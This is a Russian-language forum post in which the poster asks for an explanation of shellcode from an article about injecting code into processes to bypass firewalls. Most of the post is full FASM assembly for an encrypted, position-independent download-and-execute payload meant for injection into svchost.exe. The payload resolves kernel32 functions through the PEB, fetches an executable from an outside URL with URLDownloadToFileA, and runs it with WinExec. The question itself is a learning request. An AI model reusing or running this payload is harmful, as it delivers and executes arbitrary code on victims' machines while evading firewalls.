Помогите, читаю статью MsRem - Инжект как метод обхода фаерволлов ... не могу понять что делают эти куски кода в файле http://wasm.ru/pub/21/files/fwb/shellcode.rar это та глава где он показывает "Инжект в запускаемый процесс". Там он пишет базонезависимый код и привносит его в область памяти только что запущенного 'svchost.exe'. Вопрос - что прежде чем запустить скачку файлов он тут "вытворяет". Подскажите, сам не разобрался. Сначала все понятно потом ... Код (Text): format PE GUI 4.0 section '.code' code readable writeable executable include '%fasminc%\win32a.inc' macro callx i { call dword [ebp+p_#i-CodeStart] } macro invokex proc,[arg] { common if ~ arg eq reverse pushd arg common end if callx proc } macro getaddr r, i { lea r, [ebp+i-CodeStart] } cryptd = 0B6h CodeStart: db 0E8h, 0FFh, 0FFh, 0FFh, 0FFh, 0C0h pop ebp mov ebx, ebp xor ecx, ecx sub ecx, -CryptSize sub ebx, -(crypt-CodeStart) @@: xor byte [ebx-5], cryptd inc ebx loop @B crypt: sub ebp, 5 mov eax, [fs:30h] mov eax, [eax+0Ch] mov eax, [eax+1Ch] mov eax, [eax] mov eax, [eax+8]; eax -> VA kernel32.dll getaddr esi, KernelNames getaddr edi, KernelTable - что делается с этих пор до ... Код (Text): pushad mov ebx, eax mov ecx, [ebx+3Ch] mov ecx, [ebx+ecx+78h] add ecx, ebx mov edx, [ecx+20h] add edx, ebx mov edi, [edx] add edi, ebx push edi push -1 @@: call SearchIndex pop edi inc edi push edi mov edx, [ecx+24h] add edx, ebx movzx edx, word [edx+eax*2] mov eax, [ecx+1Ch] add eax, ebx mov eax, [eax+edx*4] add eax, ebx push esi mov esi, [esp+0Ch] mov [esi+edi*4], eax pop esi mov edi, [esp+4] cmp byte [esi], 0 jnz @B --- до этих. Дальше понятно Код (Text): invokex VirtualAlloc, 0, FullSize,\ MEM_COMMIT+MEM_RESERVE,\ PAGE_EXECUTE_READWRITE mov edi, eax mov esi, ebp mov ebp, eax mov ecx, FullSize rep movsb getaddr eax, inmem jmp eax inmem: getaddr eax, urlmon invokex LoadLibrary, eax getaddr ebx, dlname invokex GetProcAddress, eax, ebx getaddr esi, url getaddr edi, fname xor ebx, ebx push ebx push ebx push edi push esi push ebx call eax invokex WinExec, edi, SW_SHOW @@: invokex ExitThread ---- и с этих до ... Код (Text): SearchIndex: pushad xor edx, edx aNext: push esi @@: cmp byte [esi], 0 jz aFound cmpsb jz @B inc edx xor eax, eax dec edi @@: scasb jnz @B pop esi jmp aNext aFound: inc esi mov [esp+8], esi mov [esp+20h], edx pop eax popad ret ---- до этих. Дальше тоже разобрался. Код (Text): align 4 fname db '.\test123.exe', 0 urlmon db 'urlmon.dll', 0 dlname db 'URLDownloadToFileA', 0 KernelNames: db 'VirtualAlloc', 0 db 'LoadLibraryA', 0 db 'GetProcAddress', 0 db 'WinExec', 0 db 'ExitThread', 0 db 0 align 4 CodeSize = $-CodeStart url db 'http://ms-rem.dot-link.net/file.exe', 0 CryptSize = $-crypt KernelTable: p_VirtualAlloc dd 0 p_LoadLibrary dd 0 p_GetProcAddress dd 0 p_WinExec dd 0 p_ExitThread dd 0 FullSize = $-CodeStart fname2 db 'code.bin', 0 entry $ mov ebx, CodeStart sub ebx, -(crypt-CodeStart) xor ecx, ecx sub ecx, -CryptSize @@: xor byte [ebx], cryptd inc ebx loop @B invoke _lcreat, fname2, 0 mov esi, eax cmp esi, -1 jz @F invoke _lwrite, esi, CodeStart, FullSize invoke _lclose, esi @@: ret section '.idata' import data readable writeable library kernel32, 'kernel32.dll',\ user32, 'user32.dll' include '%fasminc%\apia\kernel32.inc' include '%fasminc%\apia\user32.inc' Спасибо.